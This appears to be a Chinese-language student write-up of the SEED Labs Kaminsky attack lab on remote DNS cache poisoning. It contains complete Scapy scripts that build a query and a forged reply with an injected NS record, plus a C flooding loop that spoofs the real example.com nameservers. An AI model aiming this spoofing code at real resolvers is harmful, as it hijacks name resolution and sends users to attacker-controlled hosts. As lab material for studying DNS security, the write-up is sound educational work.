【SEED LABS】The Kaminsky Attack Lab

一、实验目的

这个实验的目的是让学生获得关于远程DNS缓存中毒攻击(也称为Kaminsky DNS攻击)的第一手经验。DNS(域名系统)是互联网的电话簿;它将主机名转换为IP地址,反之亦然。这种转换是通过DNS解析进行的,它在幕后进行。DNS攻击以各种方式操纵这个解析过程,目的是将用户误导到其他目的地,这通常是恶意的。这个实验室专注于一种特殊的DNS攻击技术,称为DNS缓存中毒攻击。
• DNS and how it works
• DNS server setup
• DNS cache poisoning attack
• Spoofing DNS responses
• Packet spoofing

二、实验环境

在这里插入图片描述
在这里插入图片描述

三、进行实验

Testing the DNS Setup

Get the IP address of ns.attacker32.com

当我们运行以下dig命令时,由于本地DNS服务器配置文件中添加的转发区域条目,本地DNS服务器将请求转发给攻击者名称服务器。因此,答案应该来自于我们在攻击者命名服务器上设置的区域文件(attacker32.com.zone)。
在这里插入图片描述

Get the IP address of www.example.com

两个命名服务器现在托管example.com域,一个是该域的官方命名服务器,另一个是攻击者容器。我们将查询这两个名称服务器,看看将得到什么响应。
1.官方的服务器。
在这里插入图片描述
2.攻击者服务器
在这里插入图片描述

The Attack Tasks

在这里插入图片描述
在这里插入图片描述

Task 2: Construct DNS request

本任务主要负责发送DNS请求。为了完成攻击,攻击者需要触发目标DNS服务器发出DNS查询,从而有机会欺骗DNS回复。因为攻击者需要多次尝试才能成功,所以最好使用程序自动化这个过程。
1.编写DNS请求代码。

#!/usr/bin/python3
from scapy.all import *

# based on SEED book code
# from a random src to local DNS server
IPpkt  = IP(src='1.2.3.4',dst='10.9.0.53')
# from a random sport to DNS dport
UDPpkt = UDP(sport=12345, dport=53,chksum=0)

# a inexistent fake FQDN in the target domain: example.com
# the C code will modify it
Qdsec    = DNSQR(qname='twysw.example.com') 
DNSpkt   = DNS(id=0xAAAA, qr=0, qdcount=1, qd=Qdsec)
Querypkt = IPpkt/UDPpkt/DNSpkt

# Save the packet data to a file
with open('ip_req.bin', 'wb') as f:
  f.write(bytes(Querypkt))
  Querypkt.show()

# reply = sr1(Querypkt)

2.运行查看结果
在这里插入图片描述
在这里插入图片描述

Task 3: Spoof DNS Replies

在这个任务中,我们需要在 Kaminsky 攻击中欺骗DNS回复。由于我们的目标是example.com,我们需要从这个域名服务器上伪造回复。
1.编写欺骗回复代码。

#!/usr/bin/python3
from scapy.all import *

# based on SEED book code
targetName = 'twysw.example.com'
targetDomain = 'example.com'

# find the true name servers for the target domain
# dig +short $(dig +short NS example.com), there are two:
# 199.43.133.53, 199.43.135.53
# the C code will modify src,qname,rrname and the id field

# reply pkt from target domain NSs to the local DNS server
IPpkt = IP(src='199.43.135.53', dst='10.9.0.53', chksum=0)
UDPpkt = UDP(sport=53, dport=33333, chksum=0)

# Question section
Qdsec  = DNSQR(qname=targetName)
# Answer section, any IPs(rdata) are fine
Anssec = DNSRR(rrname=targetName, type='A',
               rdata='1.2.3.4', ttl=259200)
# Authority section (the main goal of the attack)               
NSsec  = DNSRR(rrname=targetDomain, type='NS',
               rdata='ns.attacker32.com', ttl=259200)

# http://unixwiz.net/techtips/iguide-kaminsky-dns-vuln.html
DNSpkt = DNS(id=0xAAAA, aa=1,ra=0, rd=0, cd=0, qr=1,
             qdcount=1, ancount=1, nscount=1, arcount=0,
             qd=Qdsec, an=Anssec, ns=NSsec)
Replypkt = IPpkt/UDPpkt/DNSpkt
with open('ip_resp.bin', 'wb') as f:
  f.write(bytes(Replypkt))
  Replypkt.show()

2.运行查看结果。
在这里插入图片描述
发现伪造回复成功。

Task 4: Launch the Kaminsky Attack

在攻击中,我们需要发送许多欺骗的DNS回复,希望其中一个命中正确的交易号码,并比合法的回复更快到达。因此,速度是至关重要的:发送的数据包越多,成功率就越高。如果我们使用Scapy发送欺骗的DNS回复,就像我们在上一个任务中所做的那样,成功率太低了。
1.因为有对速度的要求所以应该使用c语言来进行攻击代码。

#include <stdlib.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <time.h>

// based on the provided framework and SEED book code
#define MAX_FILE_SIZE 1000000


/* IP Header */
struct ipheader {
  unsigned char      iph_ihl:4, //IP header length
                     iph_ver:4; //IP version
  unsigned char      iph_tos; //Type of service
  unsigned short int iph_len; //IP Packet length (data + header)
  unsigned short int iph_ident; //Identification
  unsigned short int iph_flag:3, //Fragmentation flags
                     iph_offset:13; //Flags offset
  unsigned char      iph_ttl; //Time to Live
  unsigned char      iph_protocol; //Protocol type
  unsigned short int iph_chksum; //IP datagram checksum
  struct  in_addr    iph_sourceip; //Source IP address 
  struct  in_addr    iph_destip;   //Destination IP address 
};

void send_raw_packet(char * buffer, int pkt_size);
void send_dns_request(unsigned char* pkt, int pktsize, char* name);
void send_dns_response(unsigned char* pkt, int pktsize,
                       unsigned char* src, char* name,
                       unsigned short id);

int main()
{
  unsigned short transid = 0;

  srand(time(NULL));

  // Load the DNS request packet from file
  FILE * f_req = fopen("ip_req.bin", "rb");
  if (!f_req) {
     perror("Can't open 'ip_req.bin'");
     exit(1);
  }
  unsigned char ip_req[MAX_FILE_SIZE];
  int n_req = fread(ip_req, 1, MAX_FILE_SIZE, f_req);

  // Load the first DNS response packet from file
  FILE * f_resp = fopen("ip_resp.bin", "rb");
  if (!f_resp) {
     perror("Can't open 'ip_resp.bin'");
     exit(1);
  }
  unsigned char ip_resp[MAX_FILE_SIZE];
  int n_resp = fread(ip_resp, 1, MAX_FILE_SIZE, f_resp);

  char a[26]="abcdefghijklmnopqrstuvwxyz";
  while (1) {
    // Generate a random name with length 5
    char name[6];
    name[5] = '\0';
    for (int k=0; k<5; k++)  name[k] = a[rand() % 26];

    printf("name: %s, id:%d\n", name, transid);
    //##################################################################
    /* Step 1. Send a DNS request to the targeted local DNS server.
               This will trigger the DNS server to send out DNS queries */

    send_dns_request(ip_req, n_req, name);


    /* Step 2. Send many spoofed responses to the targeted local DNS server,
               each one with a different transaction ID. */
    
    for (int i = 0; i < 500; i++)
    {
      send_dns_response(ip_resp, n_resp, "199.43.133.53", name, transid);
      send_dns_response(ip_resp, n_resp, "199.43.135.53", name, transid);
      transid += 1;
    }    
    //##################################################################
  }
}


/* Use for generating and sending fake DNS request.
 * */
void send_dns_request(unsigned char* pkt, int pktsize, char* name)
{
  // replace twysw in qname with name, at offset 41
  memcpy(pkt+41, name, 5);
  // send the dns query out
  send_raw_packet(pkt, pktsize);
}


/* Use for generating and sending forged DNS response.
 * */
void send_dns_response(unsigned char* pkt, int pktsize,
                       unsigned char* src, char* name,
                       unsigned short id)
{
  // the C code will modify src,qname,rrname and the id field
  // src ip at offset 12
  int ip = (int)inet_addr(src);
  memcpy(pkt+12, (void*)&ip, 4);
  // qname at offset 41
  memcpy(pkt+41, name, 5);
  // rrname at offset 64
  memcpy(pkt+64, name, 5);
  // id at offset 28
  unsigned short transid = htons(id);
  memcpy(pkt+28, (void*)&transid, 2);
  //send the dns reply out
  send_raw_packet(pkt, pktsize);
}


/* Send the raw packet out 
 *    buffer: to contain the entire IP packet, with everything filled out.
 *    pkt_size: the size of the buffer.
 * */
void send_raw_packet(char * buffer, int pkt_size)
{
  struct sockaddr_in dest_info;
  int enable = 1;

  // Step 1: Create a raw network socket.
  int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

  // Step 2: Set socket option.
  setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
	     &enable, sizeof(enable));

  // Step 3: Provide needed information about destination.
  struct ipheader *ip = (struct ipheader *) buffer;
  dest_info.sin_family = AF_INET;
  dest_info.sin_addr = ip->iph_destip;

  // Step 4: Send the packet out.
  sendto(sock, buffer, pkt_size, 0,
       (struct sockaddr *)&dest_info, sizeof(dest_info));
  close(sock);
}

2.在attack容器中进行攻击,在local-dns-server-10.9.0.53进行查看。
在这里插入图片描述
在这里插入图片描述
根据结果可以发现攻击成功。

Task 5: Result Verification

如果攻击成功,则在本DNS服务器的DNS缓存中,example.com的NS记录将变成ns.attacker32.com。当此服务器接收到关于example.com域内任何主机名的DNS查询时,它将发送一个查询到ns.attacker32.com,而不是发送到该域的合法名称服务器。
在这里插入图片描述

在这里插入图片描述

  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值